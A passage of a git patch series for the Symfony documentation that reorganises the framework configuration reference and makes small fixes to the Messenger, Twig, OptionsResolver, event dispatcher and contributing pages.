+If not set, ``php.ini``'s `session.use_cookies`_ directive will be relied on.
 
-**type**: ``string`` **default**: ``memcached://localhost``
+ssi
+~~~
 
-The DSN to use by the Memcached provider. The provider is available as the ``cache.default_memcached_provider``
-service.
+enabled
+.......
 
-default_pdo_provider
-....................
+**type**: ``boolean`` **default**: ``false``
 
-**type**: ``string`` **default**: ``doctrine.dbal.default_connection``
+Whether to enable or not SSI support in your application.
 
-The service id of the database connection, which should be either a PDO or a
-Doctrine DBAL instance. The provider is available as the ``cache.default_pdo_provider``
-service.
+.. _reference-framework-test:
 
-pools
-.....
+test
+~~~~
 
-**type**: ``array``
+**type**: ``boolean``
 
-A list of cache pools to be created by the framework extension.
+If this configuration setting is present (and not ``false``), then the services
+related to testing your application (e.g. ``test.client``) are loaded. This
+setting should be present in your ``test`` environment (usually via
+``config/packages/test/framework.yaml``).
 
 .. seealso::
 
-    For more information about how pools work, see :ref:`cache pools <component-cache-cache-pools>`.
-
-To configure a Redis cache pool with a default lifetime of 1 hour, do the following:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/framework.yaml
-        framework:
-            cache:
-                pools:
-                    cache.mycache:
-                        adapter: cache.adapter.redis
-                        default_lifetime: 3600
-
-    .. code-block:: xml
-
-        <!-- config/packages/framework.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:framework="http://symfony.com/schema/dic/symfony"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+    For more information, see :doc:`/testing`.
 
-            <framework:config>
-                <framework:cache>
-                    <framework:pool
-                        name="cache.mycache"
-                        adapter="cache.adapter.redis"
-                        default-lifetime="3600"
-                    />
-                </framework:cache>
-                <!-- ... -->
-            </framework:config>
-        </container>
+translator
+~~~~~~~~~~
 
-    .. code-block:: php
+cache_dir
+.........
 
-        // config/packages/framework.php
-        use Symfony\Config\FrameworkConfig;
+**type**: ``string`` | ``null`` **default**: ``%kernel.cache_dir%/translations``
 
-        return static function (FrameworkConfig $framework): void {
-            $framework->cache()
-                ->pool('cache.mycache')
-                    ->adapters(['cache.adapter.redis'])
-                    ->defaultLifetime(3600);
-        };
+Defines the directory where the translation cache is stored. Use ``null`` to
+disable this cache.
 
-.. _reference-cache-pools-name:
+.. _reference-translator-default_path:
 
-name
-""""
+default_path
+............
 
-**type**: ``prototype``
+**type**: ``string`` **default**: ``%kernel.project_dir%/translations``
 
-Name of the pool you want to create.
+This option allows to define the path where the application translations files
+are stored.
 
-.. note::
+.. _reference-translator-enabled:
 
-    Your pool name must differ from ``cache.app`` or ``cache.system``.
+enabled
+.......
 
-adapter
-"""""""
+**type**: ``boolean`` **default**: ``true`` or ``false`` depending on your installation
 
-**type**: ``string`` **default**: ``cache.app``
+Whether or not to enable the ``translator`` service in the service container.
 
-The service name of the adapter to use. You can specify one of the default
-services that follow the pattern ``cache.adapter.[type]``. Alternatively you
-can specify another cache pool as base, which will make this pool inherit the
-settings from the base pool as defaults.
+.. _fallback:
 
-.. note::
+fallbacks
+.........
 
-    Your service needs to implement the ``Psr\Cache\CacheItemPoolInterface`` interface.
+**type**: ``string|array`` **default**: value of `default_locale`_
 
-public
-""""""
+This option is used when the translation key for the current locale wasn't
+found.
 
-**type**: ``boolean`` **default**: ``false``
+.. seealso::
 
-Whether your service should be public or not.
+    For more details, see :doc:`/translation`.
 
-tags
-""""
+.. _reference-framework-translator-formatter:
 
-**type**: ``boolean`` | ``string`` **default**: ``null``
+formatter
+.........
 
-Whether your service should be able to handle tags or not.
-Can also be the service id of another cache pool where tags will be stored.
+**type**: ``string`` **default**: ``translator.formatter.default``
 
-default_lifetime
-""""""""""""""""
+The ID of the service used to format translation messages. The service class
+must implement the :class:`Symfony\\Component\\Translation\\Formatter\\MessageFormatterInterface`.
 
-**type**: ``integer`` | ``string``
+.. _reference-framework-translator-logging:
 
-Default lifetime of your cache items. Give an integer value to set the default
-lifetime in seconds. A string value could be ISO 8601 time interval, like ``"PT5M"``
-or a PHP date expression that is accepted by ``strtotime()``, like ``"5 minutes"``.
+logging
+.......
 
-If no value is provided, the cache adapter will fallback to the default value on
-the actual cache storage.
+**default**: ``true`` when the debug mode is enabled, ``false`` otherwise.
 
-provider
-""""""""
+When ``true``, a log entry is made whenever the translator cannot find a translation
+for a given key. The logs are made to the ``translation`` channel at the
+``debug`` level for keys where there is a translation in the fallback
+locale, and the ``warning`` level if there is no translation to use at all.
 
-**type**: ``string``
+.. _reference-translator-paths:
 
-Overwrite the default service name or DSN respectively, if you do not want to
-use what is configured as ``default_X_provider`` under ``cache``. See the
-description of the default provider setting above for information on how to
-specify your specific provider.
+paths
+.....
 
-clearer
-"""""""
+**type**: ``array`` **default**: ``[]``
 
-**type**: ``string``
+This option allows to define an array of paths where the component will look
+for translation files. The later a path is added, the more priority it has
+(translations from later paths overwrite earlier ones). Translations from the
+:ref:`default_path <reference-translator-default_path>` have more priority than
+translations from all these paths.
 
-The cache clearer used to clear your PSR-6 cache.
+.. _reference-translator-providers:
 
-.. seealso::
+providers
+.........
 
-    For more information, see :class:`Symfony\\Component\\HttpKernel\\CacheClearer\\Psr6CacheClearer`.
+**type**: ``array`` **default**: ``[]``
 
-.. _reference-cache-prefix-seed:
+This option enables and configures :ref:`translation providers <translation-providers>`
+to push and pull your translations to/from third party translation services.
 
-prefix_seed
-...........
+trust_x_sendfile_type_header
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-**type**: ``string`` **default**: ``_%kernel.project_dir%.%kernel.container_class%``
+**type**: ``boolean`` **default**: ``%env(bool:default::SYMFONY_TRUST_X_SENDFILE_TYPE_HEADER)%``
 
-This value is used as part of the "namespace" generated for the
-cache item keys. A common practice is to use the unique name of the application
-(e.g. ``symfony.com``) because that prevents naming collisions when deploying
-multiple applications into the same path (on different servers) that share the
-same cache backend.
+.. versionadded:: 7.2
 
-It's also useful when using `blue/green deployment`_ strategies and more
-generally, when you need to abstract out the actual deployment directory (for
-example, when warming caches offline).
+    In Symfony 7.2, the default value of this option was changed from ``false`` to the
+    value stored in the ``SYMFONY_TRUST_X_SENDFILE_TYPE_HEADER`` environment variable.
 
-.. note::
+``X-Sendfile`` is a special HTTP header that tells web servers to replace the
+response contents by the file that is defined in that header. This improves
+performance because files are no longer served by your application but directly
+by the web server.
 
-    The ``prefix_seed`` option is used at compile time. This means
-    that any change made to this value after container's compilation
-    will have no effect.
+This configuration option determines whether to trust ``x-sendfile`` header for
+BinaryFileResponse. If enabled, Symfony calls the
+:method:`BinaryFileResponse::trustXSendfileTypeHeader <Symfony\\Component\\HttpFoundation\\BinaryFileResponse::trustXSendfileTypeHeader>`
+method automatically. It becomes the service container parameter named
+``kernel.trust_x_sendfile_type_header``.
 
-.. _reference-lock:
+.. _reference-framework-trusted-headers:
 
-lock
-~~~~
+trusted_headers
+~~~~~~~~~~~~~~~
 
-**type**: ``string`` | ``array``
+The ``trusted_headers`` option is needed to configure which client information
+should be trusted (e.g. their host) when running Symfony behind a load balancer
+or a reverse proxy. See :doc:`/deployment/proxies`.
 
-The default lock adapter. If not defined, the value is set to ``semaphore`` when
-available, or to ``flock`` otherwise. Store's DSN are also allowed.
+.. _configuration-framework-trusted-hosts:
 
-.. _reference-lock-enabled:
+trusted_hosts
+~~~~~~~~~~~~~
 
-enabled
-.......
+**type**: ``array`` | ``string`` **default**: ``['%env(default::SYMFONY_TRUSTED_HOSTS)%']``
 
-**type**: ``boolean`` **default**: ``true``
+.. versionadded:: 7.2
 
-Whether to enable the support for lock or not. This setting is
-automatically set to ``true`` when one of the child settings is configured.
+    In Symfony 7.2, the default value of this option was changed from ``[]`` to the
+    value stored in the ``SYMFONY_TRUSTED_HOSTS`` environment variable.
 
-.. _reference-lock-resources:
+A lot of different attacks have been discovered relying on inconsistencies
+in handling the ``Host`` header by various software (web servers, reverse
+proxies, web frameworks, etc.). Basically, every time the framework is
+generating an absolute URL (when sending an email to reset a password for
+instance), the host might have been manipulated by an attacker.
 
-resources
-.........
+.. seealso::
 
-**type**: ``array``
+    You can read `HTTP Host header attacks`_ for more information about
+    these kinds of attacks.
 
-A map of lock stores to be created by the framework extension, with
-the name as key and DSN as value:
+The Symfony :method:`Request::getHost() <Symfony\\Component\\HttpFoundation\\Request::getHost>`
+method might be vulnerable to some of these attacks because it depends on
+the configuration of your web server. One simple solution to avoid these
+attacks is to configure a list of hosts that your Symfony application can respond
+to. That's the purpose of this ``trusted_hosts`` option. If the incoming
+request's hostname doesn't match one of the regular expressions in this list,
+the application won't respond and the user will receive a 400 response.
 
 .. configuration-block::
 
     .. code-block:: yaml
 
-        # config/packages/lock.yaml
+        # config/packages/framework.yaml
         framework:
-            lock: '%env(LOCK_DSN)%'
+            trusted_hosts:  ['^example\.com$', '^example\.org$']
 
     .. code-block:: xml
 
-        <!-- config/packages/lock.xml -->
+        <!-- config/packages/framework.xml -->
         <?xml version="1.0" encoding="UTF-8" ?>
         <container xmlns="http://symfony.com/schema/dic/services"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
@@ -3372,73 +3477,76 @@ the name as key and DSN as value:
                 http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
 
             <framework:config>
-                <framework:lock>
-                    <framework:resource name="default">%env(LOCK_DSN)%</framework:resource>
-                </framework:lock>
+                <framework:trusted-host>^example\.com$</framework:trusted-host>
+                <framework:trusted-host>^example\.org$</framework:trusted-host>
+                <!-- ... -->
             </framework:config>
         </container>
 
     .. code-block:: php
 
-        // config/packages/lock.php
+        // config/packages/framework.php
         use Symfony\Config\FrameworkConfig;
 
         return static function (FrameworkConfig $framework): void {
-            $framework->lock()
-                ->resource('default', [env('LOCK_DSN')]);
+            $framework->trustedHosts(['^example\.com$', '^example\.org$']);
         };
 
-.. seealso::
-
-    For more details, see :doc:`/lock`.
-
-.. _reference-lock-resources-name:
+Hosts can also be configured to respond to any subdomain, via
+``^(.+\.)?example\.com$`` for instance.
 
-name
-""""
+In addition, you can also set the trusted hosts in the front controller
+using the ``Request::setTrustedHosts()`` method::
 
-**type**: ``prototype``
+    // public/index.php
+    Request::setTrustedHosts(['^(.+\.)?example\.com$', '^(.+\.)?example\.org$']);
 
-Name of the lock you want to create.
+The default value for this option is an empty array, meaning that the application
+can respond to any given host.
 
-semaphore
-~~~~~~~~~
+.. seealso::
 
-**type**: ``string`` | ``array``
+    Read more about this in the `Security Advisory Blog post`_.
 
-The default semaphore adapter. Store's DSN are also allowed.
+.. _reference-framework-trusted-proxies:
 
-.. _reference-semaphore-enabled:
+trusted_proxies
+~~~~~~~~~~~~~~~
 
-enabled
-.......
+The ``trusted_proxies`` option is needed to get precise information about the
+client (e.g. their IP address) when running Symfony behind a load balancer or a
+reverse proxy. See :doc:`/deployment/proxies`.
 
-**type**: ``boolean`` **default**: ``true``
+.. _reference-validation:
 
-Whether to enable the support for semaphore or not. This setting is
-automatically set to ``true`` when one of the child settings is configured.
+validation
+~~~~~~~~~~
 
-.. _reference-semaphore-resources:
+.. _reference-validation-auto-mapping:
 
-resources
-.........
+auto_mapping
+............
 
-**type**: ``array``
+**type**: ``array`` **default**: ``[]``
 
-A map of semaphore stores to be created by the framework extension, with
-the name as key and DSN as value:
+Defines the Doctrine entities that will be introspected to add
+:ref:`automatic validation constraints <automatic_object_validation>` to them:
 
 .. configuration-block::
 
     .. code-block:: yaml
 
-        # config/packages/semaphore.yaml
         framework:
-            semaphore: '%env(SEMAPHORE_DSN)%'
+            validation:
+                auto_mapping:
+                    # an empty array means that all entities that belong to that
+                    # namespace will add automatic validation
+                    'App\Entity\': []
+                    'Foo\': ['Foo\Some\Entity', 'Foo\Another\Entity']
 
     .. code-block:: xml
 
-        <!-- config/packages/semaphore.xml -->
+        <!-- config/packages/framework.xml -->
         <?xml version="1.0" encoding="UTF-8" ?>
         <container xmlns="http://symfony.com/schema/dic/services"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
@@ -3448,93 +3556,91 @@ the name as key and DSN as value:
                 http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
 
             <framework:config>
-                <framework:semaphore>
-                    <framework:resource name="default">%env(SEMAPHORE_DSN)%</framework:resource>
-                </framework:semaphore>
+                <framework:validation>
+                    <framework:auto-mapping>
+                        <framework:service namespace="App\Entity\"/>
+
+                        <framework:service namespace="Foo\">Foo\Some\Entity</framework:service>
+                        <framework:service namespace="Foo\">Foo\Another\Entity</framework:service>
+                    </framework:auto-mapping>
+                </framework:validation>
             </framework:config>
         </container>
 
     .. code-block:: php
 
-        // config/packages/semaphore.php
+        // config/packages/framework.php
         use Symfony\Config\FrameworkConfig;
 
         return static function (FrameworkConfig $framework): void {
-            $framework->semaphore()
-                ->resource('default', ['%env(SEMAPHORE_DSN)%']);
+            $framework->validation()
+                ->autoMapping()
+                    ->paths([
+                        'App\\Entity\\' => [],
+                        'Foo\\' => ['Foo\\Some\\Entity', 'Foo\\Another\\Entity'],
+                    ]);
         };
 
-.. _reference-semaphore-resources-name:
-
-name
-""""
-
-**type**: ``prototype``
-
-Name of the semaphore you want to create.
+.. _reference-validation-email_validation_mode:
 
-mailer
-~~~~~~
+email_validation_mode
+.....................
 
-.. _mailer-dsn:
+**type**: ``string`` **default**: ``html5``
 
-dsn
-...
+Sets the default value for the
+:ref:`"mode" option of the Email validator <reference-constraint-email-mode>`.
 
-**type**: ``string`` **default**: ``null``
+.. _reference-validation-enable_annotations:
 
-The DSN used by the mailer. When several DSN may be used, use
-``transports`` option (see below) instead.
+enable_attributes
+.................
 
-transports
-..........
+**type**: ``boolean`` **default**: ``true``
 
-**type**: ``array``
+If this option is enabled, validation constraints can be defined using `PHP attributes`_.
 
-A :ref:`list of DSN <multiple-email-transports>` that can be used by the
-mailer. A transport name is the key and the dsn is the value.
+.. _reference-validation-enabled:
 
-message_bus
-...........
+enabled
+.......
 
-**type**: ``string`` **default**: ``null`` or default bus if Messenger component is installed
+**type**: ``boolean`` **default**: ``true`` or ``false`` depending on your installation
 
-Service identifier of the message bus to use when using the
-:doc:`Messenger component </messenger>` (e.g. ``messenger.default_bus``).
+Whether or not to enable validation support.
 
-envelope
-........
+This option will automatically be set to ``true`` when one of the child
+settings is configured.
 
-sender
-""""""
+.. _reference-validation-mapping:
 
-**type**: ``string``
+mapping
+.......
 
-The "envelope sender" which is used as the value of ``MAIL FROM`` during the
-`SMTP session`_. This value overrides any other sender set in the code.
+.. _reference-validation-mapping-paths:
 
-recipients
-""""""""""
+paths
+"""""
 
-**type**: ``array``
+**type**: ``array`` **default**: ``['config/validation/']``
 
-The "envelope recipient" which is used as the value of ``RCPT TO`` during the
-the `SMTP session`_. This value overrides any other recipient set in the code.
+This option allows to define an array of paths with files or directories where
+the component will look for additional validation files:
 
 .. configuration-block::
 
     .. code-block:: yaml
 
-        # config/packages/mailer.yaml
+        # config/packages/framework.yaml
         framework:
-            mailer:
-                dsn: 'smtp://localhost:25'
-                envelope:
-                    recipients: ['admin@symfony.com', 'lead@symfony.com']
+            validation:
+                mapping:
+                    paths:
+                        - "%kernel.project_dir%/config/validation/"
 
     .. code-block:: xml
 
-        <!-- config/packages/mailer.xml -->
+        <!-- config/packages/framework.xml -->
         <?xml version="1.0" encoding="UTF-8" ?>
         <container xmlns="http://symfony.com/schema/dic/services"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
@@ -3542,63 +3648,77 @@ the `SMTP session`_. This value overrides any other recipient set in the code.
             xsi:schemaLocation="http://symfony.com/schema/dic/services
                 https://symfony.com/schema/dic/services/services-1.0.xsd
                 http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
             <framework:config>
-                <framework:mailer dsn="smtp://localhost:25">
-                    <framework:envelope>
-                        <framework:recipient>admin@symfony.com</framework:recipient>
-                        <framework:recipient>lead@symfony.com</framework:recipient>
-                    </framework:envelope>
-                </framework:mailer>
+                <framework:validation>
+                    <framework:mapping>
+                        <framework:path>%kernel.project_dir%/config/validation/</framework:path>
+                    </framework:mapping>
+                </framework:validation>
             </framework:config>
         </container>
 
     .. code-block:: php
 
-        // config/packages/mailer.php
-        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+        // config/packages/framework.php
+        use Symfony\Config\FrameworkConfig;
 
-        return static function (ContainerConfigurator $container): void {
-            $container->extension('framework', [
-                'mailer' => [
-                    'dsn' => 'smtp://localhost:25',
-                    'envelope' => [
-                        'recipients' => [
-                            'admin@symfony.com',
-                            'lead@symfony.com',
-                        ],
-                    ],
-                ],
-            ]);
+        return static function (FrameworkConfig $framework): void {
+            $framework->validation()
+                ->mapping()
+                    ->paths(['%kernel.project_dir%/config/validation/']);
         };
 
-.. _mailer-headers:
+.. _reference-validation-not-compromised-password:
 
-headers
-.......
+not_compromised_password
+........................
 
-**type**: ``array``
+The :doc:`NotCompromisedPassword </reference/constraints/NotCompromisedPassword>`
+constraint makes HTTP requests to a public API to check if the given password
+has been compromised in a data breach.
 
-Headers to add to emails. The key (``name`` attribute in xml format) is the
-header name and value the header value.
+static_method
+.............
 
-.. seealso::
+**type**: ``string | array`` **default**: ``['loadValidatorMetadata']``
 
-    For more information, see :ref:`Configuring Emails Globally <mailer-configure-email-globally>`
+Defines the name of the static method which is called to load the validation
+metadata of the class. You can define an array of strings with the names of
+several methods. In that case, all of them will be called in that order to load
+the metadata.
 
-messenger
-~~~~~~~~~
+translation_domain
+..................
+
+**type**: ``string | false`` **default**: ``validators``
+
+The translation domain that is used when translating validation constraint
+error messages. Use false to disable translations.
+
+
+.. _reference-validation-not-compromised-password-enabled:
 
 enabled
-.......
+"""""""
 
 **type**: ``boolean`` **default**: ``true``
 
-Whether to enable or not Messenger.
+If you set this option to ``false``, no HTTP requests will be made and the given
+password will be considered valid. This is useful when you don't want or can't
+make HTTP requests, such as in ``dev`` and ``test`` environments or in
+continuous integration servers.
 
-.. seealso::
+endpoint
+""""""""
 
-    For more details, see the :doc:`Messenger component </messenger>`
-    documentation.
+**type**: ``string`` **default**: ``null``
+
+By default, the :doc:`NotCompromisedPassword </reference/constraints/NotCompromisedPassword>`
+constraint uses the public API provided by `haveibeenpwned.com`_. This option
+allows to define a different, but compatible, API endpoint to make the password
+checks. It's useful for example when the Symfony application is run in an
+intranet without public access to the internet.
 
 web_link
 ~~~~~~~~
@@ -3770,125 +3890,6 @@ Defines the kind of workflow that is going to be created, which can be either
 a normal workflow or a state machine. Read :doc:`this article </workflow/workflow-and-state-machine>`
 to know their differences.
 
-.. _framework_exceptions:
-
-exceptions
-~~~~~~~~~~
-
-**type**: ``array``
-
-Defines the :ref:`log level </logging>` and HTTP status code applied to the
-exceptions that match the given exception class:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/exceptions.yaml
-        framework:
-            exceptions:
-                Symfony\Component\HttpKernel\Exception\BadRequestHttpException:
-                    log_level: 'debug'
-                    status_code: 422
-
-    .. code-block:: xml
-
-        <!-- config/packages/exceptions.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:framework="http://symfony.com/schema/dic/symfony"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
-
-            <framework:config>
-                <framework:exception
-                    class="Symfony\Component\HttpKernel\Exception\BadRequestHttpException"
-                    log-level="debug"
-                    status-code="422"
-                />
-                <!-- ... -->
-            </framework:config>
-        </container>
-
-    .. code-block:: php
-
-        // config/packages/exceptions.php
-        use Symfony\Component\HttpKernel\Exception\BadRequestHttpException;
-        use Symfony\Config\FrameworkConfig;
-
-        return static function (FrameworkConfig $framework): void {
-            $framework->exception(BadRequestHttpException::class)
-                ->logLevel('debug')
-                ->statusCode(422)
-            ;
-        };
-
-The order in which you configure exceptions is important because Symfony will
-use the configuration of the first exception that matches ``instanceof``:
-
-.. code-block:: yaml
-
-        # config/packages/exceptions.yaml
-        framework:
-            exceptions:
-                Exception:
-                    log_level: 'debug'
-                    status_code: 404
-                # The following configuration will never be used because \RuntimeException extends \Exception
-                RuntimeException:
-                    log_level: 'debug'
-                    status_code: 422
-
-You can map a status code and a set of headers to an exception thanks
-to the ``#[WithHttpStatus]`` attribute on the exception class::
-
-    namespace App\Exception;
-
-    use Symfony\Component\HttpKernel\Attribute\WithHttpStatus;
-
-    #[WithHttpStatus(422, [
-       'Retry-After' => 10,
-       'X-Custom-Header' => 'header-value',
-    ])]
-    class CustomException extends \Exception
-    {
-    }
-
-It is also possible to map a log level on a custom exception class using
-the ``#[WithLogLevel]`` attribute::
-
-    namespace App\Exception;
-
-    use Psr\Log\LogLevel;
-    use Symfony\Component\HttpKernel\Attribute\WithLogLevel;
-
-    #[WithLogLevel(LogLevel::WARNING)]
-    class CustomException extends \Exception
-    {
-    }
-
-The attributes can also be added to interfaces directly::
-
-    namespace App\Exception;
-
-    use Symfony\Component\HttpKernel\Attribute\WithHttpStatus;
-
-    #[WithHttpStatus(422)]
-    interface CustomExceptionInterface
-    {
-    }
-
-    class CustomException extends \Exception implements CustomExceptionInterface
-    {
-    }
-
-.. versionadded:: 7.1
-
-    Support to use ``#[WithHttpStatus]`` and ``#[WithLogLevel]`` attributes
-    on interfaces was introduced in Symfony 7.1.
-
 .. _`HTTP Host header attacks`: https://www.skeletonscribe.net/2013/05/practical-http-host-header-attacks.html
 .. _`Security Advisory Blog post`: https://symfony.com/blog/security-releases-symfony-2-0-24-2-1-12-2-2-5-and-2-3-3-released#cve-2013-4752-request-gethost-poisoning
 .. _`phpstorm-url-handler`: https://github.com/sanduhrs/phpstorm-url-handler

From 7c70485deecc094e84dc36d99f4eb86fc1e8fff3 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 24 Feb 2025 16:33:11 +0100
Subject: [PATCH 5405/5766] [Messenger] Fix some syntax issue

---
 messenger.rst | 23 ++++++++++-------------
 1 file changed, 10 insertions(+), 13 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index e4f4abf60eb..d76e2170c09 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -543,14 +543,19 @@ command with the ``--all`` option:
 
     The ``--all`` option was introduced in Symfony 7.1.
 
-The ``--keepalive`` option can be used to prevent messages from being prematurely
-redelivered during long-running processing. It marks the message as "in progress"
-and prevents it from being redelivered until the worker finishes processing it.
+Messages that take a long time to process may be redelivered prematurely because
+some transports assume that an unacknowledged message is lost. To prevent this
+issue, use the ``--keepalive`` command option to specify an interval (in seconds;
+default value = ``5``) at which the message is marked as "in progress". This prevents
+the message from being redelivered until the worker completes processing it:
+
+.. code-block:: terminal
+
+    $ php bin/console messenger:consume --keepalive
 
 .. note::
 
-    This option is only available for supported transports, which are
-    the Beanstalkd and AmazonSQS transports.
+    This option is only available for the following transports: Beanstalkd and AmazonSQS.
 
 .. versionadded:: 7.2
 
@@ -1724,10 +1729,6 @@ The transport has a number of options:
     The message time to run before it is put back in the ready queue - in
     seconds.
 
-.. versionadded:: 7.2
-
-    Keepalive support, using the ``--keepalive`` option, was added in Symfony 7.2.
-
 .. _messenger-redis-transport:
 
 Redis Transport
@@ -2050,10 +2051,6 @@ The transport has a number of options:
     FIFO queues don't support setting a delay per message, a value of ``delay: 0``
     is required in the retry strategy settings.
 
-.. versionadded:: 7.2
-
-    Keepalive support, using the `--keepalive` option, was added in Symfony 7.2.
-
 Serializing Messages
 ~~~~~~~~~~~~~~~~~~~~
 

From c35fb93c2fa4fcf08f96d80fe9f6dee1940f2697 Mon Sep 17 00:00:00 2001
From: Christophe Coevoet <stof@notk.org>
Date: Tue, 4 Mar 2025 12:53:15 +0100
Subject: [PATCH 5406/5766] Add missing default value in the Twig reference

---
 reference/configuration/twig.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/configuration/twig.rst b/reference/configuration/twig.rst
index 0fcba509f31..bec117cc609 100644
--- a/reference/configuration/twig.rst
+++ b/reference/configuration/twig.rst
@@ -315,7 +315,7 @@ mailer
 html_to_text_converter
 ......................
 
-**type**: ``string`` **default**: ````
+**type**: ``string`` **default**: ``null``
 
 .. versionadded:: 6.2
 

From 159a15002ade0b3375547423890b4ddb413bde7b Mon Sep 17 00:00:00 2001
From: Yonel Ceruto <yonel.ceruto@scnd.com>
Date: Tue, 4 Mar 2025 12:12:13 -0500
Subject: [PATCH 5407/5766] Update nested options examples to use setOptions
 instead of setDefault

---
 components/options_resolver.rst | 20 +++++++++++++++-----
 1 file changed, 15 insertions(+), 5 deletions(-)

diff --git a/components/options_resolver.rst b/components/options_resolver.rst
index 65685106c13..5063f5b11d9 100644
--- a/components/options_resolver.rst
+++ b/components/options_resolver.rst
@@ -662,7 +662,7 @@ default value::
 
         public function configureOptions(OptionsResolver $resolver): void
         {
-            $resolver->setDefault('spool', function (OptionsResolver $spoolResolver): void {
+            $resolver->setOptions('spool', function (OptionsResolver $spoolResolver): void {
                 $spoolResolver->setDefaults([
                     'type' => 'file',
                     'path' => '/path/to/spool',
@@ -686,6 +686,16 @@ default value::
         ],
     ]);
 
+.. deprecated:: 7.3
+
+    Defining nested option via :method:`Symfony\\Component\\OptionsResolver\\OptionsResolver::setDefault`
+    was deprecated since Symfony 7.3, use the :method:`Symfony\\Component\\OptionsResolver\\OptionsResolver::setOptions`
+    instead. Allowing to define default values for prototyped options.
+
+.. versionadded:: 7.3
+
+    The :method:`Symfony\\Component\\OptionsResolver\\OptionsResolver::setOptions` was introduced in Symfony 7.3.
+
 Nested options also support required options, validation (type, value) and
 normalization of their values. If the default value of a nested option depends
 on another option defined in the parent level, add a second ``Options`` argument
@@ -698,7 +708,7 @@ to the closure to access to them::
         public function configureOptions(OptionsResolver $resolver): void
         {
             $resolver->setDefault('sandbox', false);
-            $resolver->setDefault('spool', function (OptionsResolver $spoolResolver, Options $parent): void {
+            $resolver->setOptions('spool', function (OptionsResolver $spoolResolver, Options $parent): void {
                 $spoolResolver->setDefaults([
                     'type' => $parent['sandbox'] ? 'memory' : 'file',
                     // ...
@@ -721,13 +731,13 @@ In same way, parent options can access to the nested options as normal arrays::
 
         public function configureOptions(OptionsResolver $resolver): void
         {
-            $resolver->setDefault('spool', function (OptionsResolver $spoolResolver): void {
+            $resolver->setOptions('spool', function (OptionsResolver $spoolResolver): void {
                 $spoolResolver->setDefaults([
                     'type' => 'file',
                     // ...
                 ]);
             });
-            $resolver->setDefault('profiling', function (Options $options): void {
+            $resolver->setOptions('profiling', function (Options $options): void {
                 return 'file' === $options['spool']['type'];
             });
         }
@@ -748,7 +758,7 @@ with ``host``, ``database``, ``user`` and ``password`` each.
 
 The best way to implement this is to define the ``connections`` option as prototype::
 
-    $resolver->setDefault('connections', function (OptionsResolver $connResolver): void {
+    $resolver->setOptions('connections', function (OptionsResolver $connResolver): void {
         $connResolver
             ->setPrototype(true)
             ->setRequired(['host', 'database'])

From 48a397695cf009a40dcde1e8c51a6b7c54b2fdac Mon Sep 17 00:00:00 2001
From: Matthieu Lempereur <matt.lempereur@gmail.com>
Date: Wed, 5 Mar 2025 11:02:38 +0100
Subject: [PATCH 5408/5766] update internal ref in event dispatcher

---
 event_dispatcher.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/event_dispatcher.rst b/event_dispatcher.rst
index 27885af267b..7372d58b8d0 100644
--- a/event_dispatcher.rst
+++ b/event_dispatcher.rst
@@ -541,7 +541,7 @@ Creating an Event Subscriber
 
 Next, you'll need to create an event subscriber, which will hold the logic
 that you want to be executed before your controllers. If you're not familiar with
-event subscribers, you can learn more about them at :doc:`/event_dispatcher`::
+event subscribers, you can learn more about :ref:`how to use them <events-subscriber>`::
 
     // src/EventSubscriber/TokenSubscriber.php
     namespace App\EventSubscriber;

From fdb7a299eea3faa163a314f02a4d6633bddea645 Mon Sep 17 00:00:00 2001
From: Markus Mauksch <87762329+mmauksch@users.noreply.github.com>
Date: Wed, 5 Mar 2025 21:22:27 +0100
Subject: [PATCH 5409/5766] Update overview.rst

Update version numbers to currently last maintained version. Intent is to make it clearer and also easier for users using Copy-Paste for git commands.

Description in the github screenshot intentionally changed to 4.4 to avoid confusion between picture and description (replacing the screenshot seemed excessive)
---
 contributing/documentation/overview.rst | 16 ++++++++--------
 1 file changed, 8 insertions(+), 8 deletions(-)

diff --git a/contributing/documentation/overview.rst b/contributing/documentation/overview.rst
index 183910e6ac6..7095e4cbc4c 100644
--- a/contributing/documentation/overview.rst
+++ b/contributing/documentation/overview.rst
@@ -113,16 +113,16 @@ memorable name for the new branch (if you are fixing a reported issue, use
 
 .. code-block:: terminal
 
-    $ git checkout -b improve_install_article upstream/5.4
+    $ git checkout -b improve_install_article upstream/6.4
 
 In this example, the name of the branch is ``improve_install_article`` and the
-``upstream/5.4`` value tells Git to create this branch based on the ``5.4``
+``upstream/6.4`` value tells Git to create this branch based on the ``6.4``
 branch of the ``upstream`` remote, which is the original Symfony Docs repository.
 
 Fixes should always be based on the **oldest maintained branch** which contains
-the error. Nowadays this is the ``5.4`` branch. If you are instead documenting a
+the error. Nowadays this is the ``6.4`` branch. If you are instead documenting a
 new feature, switch to the first Symfony version that included it, e.g.
-``upstream/6.2``.
+``upstream/7.2``.
 
